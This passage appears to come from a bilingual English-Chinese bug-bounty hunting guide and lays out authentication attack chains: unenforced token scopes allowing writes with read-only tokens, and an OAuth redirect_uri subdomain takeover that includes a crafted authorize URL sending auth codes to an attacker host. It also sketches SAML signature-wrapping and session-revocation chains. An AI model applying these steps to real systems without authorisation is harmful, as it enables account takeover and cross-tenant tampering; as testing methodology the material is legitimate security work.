    Disclosed Report Citation #5 和 #7,以及根因 #5(SAML XML parsing quirks)。

Chain 5 — Token-Scope Check at Issuance, Not at Use → Cross-Tenant Write via Low-Scope PAT

链 5——Token Scope 在签发时检查,而非使用时 → 低 Scope PAT 导致跨租户写入

  • A. Create a personal access token / OAuth token with
    read:user
    scope only. Confirm via
    GET /api/me/tokens
    .
  • B. Call a write endpoint that should require
    write:*
    (e.g.
    DELETE /repos/{org}/{repo}/issues/{n}
    ). Server checks "is authenticated" via middleware but the individual handler doesn't re-verify the PAT's scope subset.
  • C. Write action succeeds despite the token being read-only.
  • Impact: PAT scope model is functionally broken — every read-only token is write-equivalent on the affected endpoints. Mass-exploitable across the userbase by anyone with a leaked PAT.
  • Real shape: GitHub PAT scope-at-issuance-not-at-use class (root cause #3). Pairs with step 4 (PAT scope enforcement fuzzing) and
    hunt-api-misconfig
    JWT scope bypasses.
  • A. 创建仅具备
    read:user
    scope 的 personal access token/OAuth token。通过
    GET /api/me/tokens
    确认。
  • B. 调用本应要求
    write:*
    的 write endpoint(例如
    DELETE /repos/{org}/{repo}/issues/{n}
    )。Server 通过 middleware 检查“is authenticated”,但 individual handler 未重新验证 PAT 的 scope subset。
  • C. 尽管 token 为 read-only,write action 仍然成功。
  • **Impact:**PAT scope model 在功能上失效——受影响 endpoints 上,每个 read-only token 都等同于 write token。任何持有泄露 PAT 的人,都可能在整个 userbase 中大规模利用此问题。
  • **实际形态:**GitHub PAT scope-at-issuance-not-at-use 类(根因 #3)。与第 4 步(PAT scope enforcement fuzzing)和
    hunt-api-misconfig
    JWT scope bypasses 配对。

Chain 6 — Subdomain Takeover at OAuth
redirect_uri
Allowlist → Auth-Code Theft → ATO

链 6——OAuth
redirect_uri
Allowlist 中的 Subdomain Takeover → Auth-Code Theft → ATO

  • A. Enumerate OAuth
    redirect_uri
    allowlist via the
    /oauth/authorize
    flow; note any wildcard
    *.target.com
    or takeover-candidate hostname in the static list.
  • B. Find a takeover-able subdomain (
    legacy.target.com
    CNAME'd to deleted Vercel project / Heroku app / S3 bucket —
    hunt-subdomain
    step 1).
  • C. Claim the subdomain. Host an OAuth callback receiver. Send victim to
    /oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...
    . Auth code lands on attacker host. Exchange via token endpoint. ATO.
  • Impact: Persistent 1-click ATO every time the OAuth flow runs against the affected client.
  • Real shape: Microsoft Azure DevOps
    cloudapp.azure.com
    + wildcard
    *.visualstudio.com
    reply_to chain (Binary Security, Nov 2022). Cross-refs
    hunt-subdomain
    Disclosed Report Citation #12.
  • A. 通过
    /oauth/authorize
    flow 枚举 OAuth
    redirect_uri
    allowlist;记录任何 wildcard
    *.target.com
    或 takeover-candidate hostname。
  • B. 找出可被 takeover 的 subdomain(
    legacy.target.com
    CNAME 至已删除的 Vercel project/Heroku app/S3 bucket——
    hunt-subdomain
    第 1 步)。
  • C. Claim 该 subdomain,托管一个 OAuth callback receiver。将 victim 导向
    /oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...
    。Auth code 会落到攻击者主机。通过 token endpoint 交换 token,完成 ATO。
  • **Impact:**每次 affected client 运行 OAuth flow 时,都能稳定实现 one-click ATO。
  • **实际形态:**Microsoft Azure DevOps
    cloudapp.azure.com
    + wildcard
    *.visualstudio.com
    reply_to chain(Binary Security,2022 年 11 月)。交叉引用
    hunt-subdomain
    Disclosed Report Citation #12。

Operator-level pattern

操作员级模式

When you confirm a misc primitive at A, immediately ask: what state-machine, cache layer, sibling endpoint, or auth-state-skew can amplify it? The first primitive is the entry pass. The chain is the deliverable. Every Workstream-A skill citation in this bundle pairs with at least one chain shape above:
  • hunt-auth-bypass
    — Chains 2, 4, 5
  • hunt-cache-poison
    — Chain 3
  • hunt-saml
    — Chain 4
  • hunt-subdomain
    — Chain 6
  • hunt-ato
    — Chains 1, 2, 5, 6 (all terminal-impact paths)

当你确认 A 中的 MISC primitive 后,**立即追问:哪些 state machine、cache layer、sibling endpoint 或 auth-state-skew 能将其放大?**第一个 primitive 是入口,chain 才是最终交付物。本 bundle 中的每个 Workstream-A skill 引用都至少与上述一种 chain shape 配对:
  • hunt-auth-bypass
    ——第 2、4、5 条链
  • hunt-cache-poison
    ——第 3 条链
  • hunt-saml
    ——第 4 条链
  • hunt-subdomain
    ——第 6 条链
  • hunt-ato
    ——第 1、2、5、6 条链(所有 terminal-impact paths)

Related Skills & Chains

相关 Skills 与 Chains

  • hunt-saml
    — SAML signature wrapping (XSW1–XSW8) is the canonical "misc auth" critical. Chain primitive: SAML XSW +
    hunt-saml
    AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.
  • hunt-business-logic
    — Misc role/permission desync bugs overlap with business-logic state-machine flaws. Chain primitive: business logic (invitation-before-verify) + role assignment without identity confirmation → tenant takeover.
  • hunt-auth-bypass
    — Session-revocation gaps and stale-token issues are pure auth-bypass primitives. Chain primitive: removed user retains session token →
    hunt-auth-bypass
    → post-termination data exfil and persistent access.
  • hunt-ato
    — Most misc auth bugs end at account takeover. Chain primitive: signature-stripping / NameID injection +
    hunt-ato
    Path 6 (JWT/SAML manipulation) → admin ATO across enterprise.
  • security-arsenal
    — Load the SAML Raider payload pack, the session-revocation probe checklist, and the Always-Rejected list (rate-limiting on auth, theoretical issues, user enumeration without sensitive PII).
  • triage-validation
    — Apply the 7-Question Gate plus the Body-Diff Rule: misc bugs are the highest-N/A category — a state desync claim needs a concrete cross-tenant read or admin-action PoC, not just "the API let me call it".
  • hunt-saml
    ——SAML signature wrapping(XSW1–XSW8)是典型的“misc auth”严重漏洞。Chain primitive:SAML XSW +
    hunt-saml
    AttributeStatement injection → NameID swap → 无需密码即可通过 SSO 接管 victim admin。
  • hunt-business-logic
    ——MISC role/permission desync bugs 与 business-logic state-machine flaws 存在重叠。Chain primitive:business logic(invitation-before-verify)+ 未确认身份即分配 role → tenant takeover。
  • hunt-auth-bypass
    ——session-revocation gaps 和 stale-token issues 是纯粹的 auth-bypass primitives。Chain primitive:removed user retains session token →
    hunt-auth-bypass
    → post-termination data exfil 和 persistent access。
  • hunt-ato
    ——大多数 misc auth bugs 最终都会导致 account takeover。Chain primitive:signature-stripping/NameID injection +
    hunt-ato
    Path 6(JWT/SAML manipulation)→ 无需密码即可接管 enterprise admin。
  • security-arsenal
    ——加载 SAML Raider payload pack、session-revocation probe checklist 和 Always-Rejected list(auth rate limiting、theoretical issues、无 sensitive PII 的 user enumeration)。
  • triage-validation
    ——应用 7-Question Gate 和 Body-Diff Rule:MISC bugs 是 N/A 比例最高的类别——state desync claim 需要具体的 cross-tenant read 或 admin-action PoC,而不只是“API 允许我调用它”。